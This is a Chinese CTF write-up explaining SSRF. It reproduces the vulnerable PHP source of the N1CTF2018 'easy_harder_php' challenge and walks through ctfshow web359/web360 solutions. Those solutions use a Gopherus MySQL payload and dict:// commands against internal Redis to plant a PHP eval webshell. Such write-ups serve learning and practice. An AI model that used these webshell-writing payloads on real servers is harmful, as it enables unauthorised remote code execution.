SSRF概述
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。利用的是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器
考点
SoapClient反序列化SSRF
N1ctf2018 easy_harder_php
扫描发现在php文件后加上~就可以获得源码,即备份文件
index.php~
<?php
require_once 'user.php';
$C = new Customer();
if(isset($_GET['action']))
require_once 'views/'.$_GET['action'];
else
header('Location: index.php?action=login');
config.php~
<?php
header("Content-Type:text/html;charset=UTF-8");
date_default_timezone_set("PRC");
session_start();
class Db
{
private $servername = "localhost";
private $username = "Nu1L";
private $password = "Nu1Lpassword233334";
private $dbname = "nu1lctf";
private $conn;
function __construct()
{
$this->conn = new mysqli($this->servername, $this->username, $this->password, $this->dbname);
}
function __destruct()
{
$this->conn->close();
}
private function get_column($columns){
if(is_array($columns))
$column = ' `'.implode('`,`',$columns).'` ';
else
$column = ' `'.$columns.'` ';
return $column;
}
public function select($columns,$table,$where) {
$column = $this->get_column($columns);
$sql = 'select '.$column.' from '.$table.' where '.$where.';';
$result = $this->conn->query($sql);
return $result;
}
public function insert($columns,$table,$values){
$column = $this->get_column($columns);
$value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';
$nid =
$sql = 'insert into '.$table.'('.$column.') values '.$value;
$result = $this->conn->query($sql);
return $result;
}
public function delete($table,$where){
$sql = 'delete from '.$table.' where '.$where;
$result = $this->conn->query($sql);
return $result;
}
public function update_single($table,$where,$column,$value){
$sql = 'update '.$table.' set `'.$column.'` = \''.$value.'\' where '.$where;
$result = $this->conn->query($sql);
return $result;
}
}
class Mood{
public $mood, $ip, $date;
public function __construct($mood, $ip) {
$this->mood = $mood;
$this->ip = $ip;
$this->date = time();
}
public function getcountry()
{
$ip = @file_get_contents("http://ip.taobao.com/service/getIpInfo.php?ip=".$this->ip);
$ip = json_decode($ip,true);
return $ip['data']['country'];
}
public function getsubtime()
{
$now_date = time();
$sub_date = (int)$now_date - (int)$this->date;
$days = (int)($sub_date/86400);
$hours = (int)($sub_date%86400/3600);
$minutes = (int)($sub_date%86400%3600/60);
$res = ($days>0)?"$days days $hours hours $minutes minutes ago":(($hours>0)?"$hours hours $minutes minutes ago":"$minutes minutes ago");
return $res;
}
}
function get_ip(){
return $_SERVER['REMOTE_ADDR'];
}
function upload($file){
$file_size = $file['size'];
if($file_size>2*1024*1024) {
echo "pic is too big!";
return false;
}
$file_type = $file['type'];
if($file_type!="image/jpeg" && $file_type!='image/pjpeg') {
echo "file type invalid";
return false;
}
if(is_uploaded_file($file['tmp_name'])) {
$uploaded_file = $file['tmp_name'];
$user_path = "/app/adminpic";
if (!file_exists($user_path)) {
mkdir($user_path);
}
$file_true_name = str_replace('.','',pathinfo($file['name'])['filename']);
$file_true_name = str_replace('/','',$file_true_name);
$file_true_name = str_replace('\\','',$file_true_name);
$file_true_name = $file_true_name.time().rand(1,100).'.jpg';
$move_to_file = $user_path."/".$file_true_name;
if(move_uploaded_file($uploaded_file,$move_to_file)) {
if(stripos(file_get_contents($move_to_file),'<?php')>=0)
system('sh /home/nu1lctf/clean_danger.sh');
return $file_true_name;
}
else
return false;
}
else
return false;
}
function addslashes_deep($value)
{
if (empty($value))
{
return $value;
}
else
{
return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
}
}
function rand_s($length = 8)
{
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|';
$password = '';
for ( $i = 0; $i < $length; $i++ )
{
$password .= $chars[ mt_rand(0, strlen($chars) - 1) ];
}
return $password;
}
function addsla_all()
{
if (!get_magic_quotes_gpc())
{
if (!empty($_GET))
{
$_GET = addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}
$_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);
}
}
addsla_all();
user.php~
<?php
require_once 'config.php';
class Customer{
public $username, $userid, $is_admin, $allow_diff_ip;
public function __construct()
{
$this->username = isset($_SESSION['username'])?$_SESSION['username']:'';
$this->userid = isset($_SESSION['userid'])?$_SESSION['userid']:-1;
$this->is_admin = isset($_SESSION['is_admin'])?$_SESSION['is_admin']:0;
$this->get_allow_diff_ip();
}
public function check_login()
{
return isset($_SESSION['userid']);
}
public function check_username($username)
{
if(preg_match('/[^a-zA-Z0-9_]/is',$username) or strlen($username)<3 or strlen($username)>20)
return false;
else
return true;
}
private function is_exists($username)
{
$db = new Db();
@$ret = $db->select('username','ctf_users',"username='$username'");
if($ret->fetch_row())
return true;
else
return false;
}
public function get_allow_diff_ip()
{
if(!$this->check_login()) return 0;
$db = new Db();
@$ret = $db->select('allow_diff_ip','ctf_users','id='.$this->userid);
if($ret) {
$user = $ret->fetch_row();
if($user)
{
$this->allow_diff_ip = (int)$user[0];
return 1;
}
else
return 0;
}
}
function login()
{
if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['code'])) {
if(substr(md5($_POST['code']),0, 5)!==$_SESSION['code'])
{
die("code erroar");
}
$username = $_POST['username'];
$password = md5($_POST['password']);
if(!$this->check_username($username))
die('Invalid user name');
$db = new Db();
@$ret = $db->select(array('id','username','ip','is_admin','allow_diff_ip'),'ctf_users',"username = '$username' and password = '$password' limit 1");
if($ret)
{
$user = $ret->fetch_row();
if($user) {
if ($user[4] == '0' && $user[2] !== get_ip())
die("You can only login at the usual address");
if ($user[3] == '1')
$_SESSION['is_admin'] = 1;
else
$_SESSION['is_admin'] = 0;
$_SESSION['userid'] = $user[0];
$_SESSION['username'] = $user[1];
$this->username = $user[1];
$this->userid = $user[0];
return true;
}
else
return false;
}
else
{
return false;
}
}
else
return false;
}
function register()
{
if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['code'])) {
if(substr(md5($_POST['code']),0, 5)!==$_SESSION['code'])
{
die("code error");
}
$username = $_POST['username'];
$password = md5($_POST['password']);
if(!$this->check_username($username))
die('Invalid user name');
if(!$this->is_exists($username)) {
$db = new Db();
@$ret = $db->insert(array('username','password','ip','is_admin','allow_diff_ip'),'ctf_users',array($username,$password,get_ip(),'0','1')); //No one could be admin except me
if($ret)
return true;
else
return false;
}
else {
die("The username is not unique");
}
}
else
{
return false;
}
}
function publish()
{
if(!$this->check_login()) return false;
if($this->is_admin == 0)
{
if(isset($_POST['signature']) && isset($_POST['mood'])) {
$mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
$db = new Db();
@$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
if($ret)
return true;
else
return false;
}
}
else
{
if(isset($_FILES['pic'])) {
if (upload($_FILES['pic'])){
echo 'upload ok!';
return true;
}
else {
echo "upload file error";
return false;
}
}
else
return false;
}
}
function showmess()
{
if(!$this->check_login()) return false;
if($this->is_admin == 0)
{
//id,sig,mood,ip,country,subtime
$db = new Db();
@$ret = $db->select(array('username','signature','mood','id'),'ctf_user_signature',"userid = $this->userid order by id desc");
if($ret) {
$data = array();
while ($row = $ret->fetch_row()) {
$sig = $row[1];
$mood = unserialize($row[2]);
$country = $mood->getcountry();
$ip = $mood->ip;
$subtime = $mood->getsubtime();
$allmess = array('id'=>$row[3],'sig' => $sig, 'mood' => $mood, 'ip' => $ip, 'country' => $country, 'subtime' => $subtime);
array_push($data, $allmess);
}
$data = json_encode(array('code'=>0,'data'=>$data));
return $data;
}
else
return false;
}
else
{
$filenames = scandir('adminpic/');
array_splice($filenames, 0, 2);
return json_encode(array('code'=>1,'data'=>$filenames));
}
}
function allow_diff_ip_option()
{
if(!$this->check_login()) return false;
if($this->is_admin == 0)
{
if(isset($_POST['adio'])){
$db = new Db();
@$ret = $db->update_single('ctf_users',"id = $this->userid",'allow_diff_ip',(int)$_POST['adio']);
if($ret)
return true;
else
return false;
}
}
else
echo 'admin can\'t change this option';
return false;
}
function deletemess()
{
if(!$this->check_login()) return false;
if(isset($_GET['delid'])) {
$delid = (int)$_GET['delid'];
$db = new Db;
@$ret = $db->delete('ctf_user_signature', "userid = $this->userid and id = '$delid'");
if($ret)
return true;
else
return false;
}
else
return false;
}
}
开始审计
看到index.php存在路径phprequire_once 'views/'.$_GET['action'];
,访问views/可以获得剩下的源码
在user.php~中可以看到要求为admin才可以登录进行上传操作,因此需要寻找admin密码的注入点
参考文章:https://delcoding.github.io/2018/03/n1ctf-easy-harder-php1/
ctfshow
web359 打无密码的mysql
工具下载地址 https://github.com/tarunkant/Gopherus
使用python,使用方法在-help中写的很清楚
python gopherus.py --exploit mysql
root
select "<?php @eval($_POST[a]);?>" into outfile "/var/www/html/1.php";
关键在login 的returl,因为没有回显所以写入shell
注意将gopher得到的回显下划线后面的内容url编码,即可成功写马,蚁剑连接可以得到flag
web360 打redis
除了使用gopher外尝试手打
首先用dict协议探测一下是否在6379端口
url=dict://127.0.0.1:6379
发现存在,下一步设置本地存放dir
url=dict://127.0.0.1:6379/config:set:dir:/var/www/html
然后写马<?php eval($_POST[a])?>
,一般用十六进制可以绕过常规限制
url=dict://127.0.0.1:6379/set:shell:"\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x61\x5d\x29\x3b\x3f\x3e"
设置文件名
url=dict://127.0.0.1:6379/set:dbfilename:Ev1near.php
最后保存,即可成功写马
url=dict://127.0.0.1:6379/save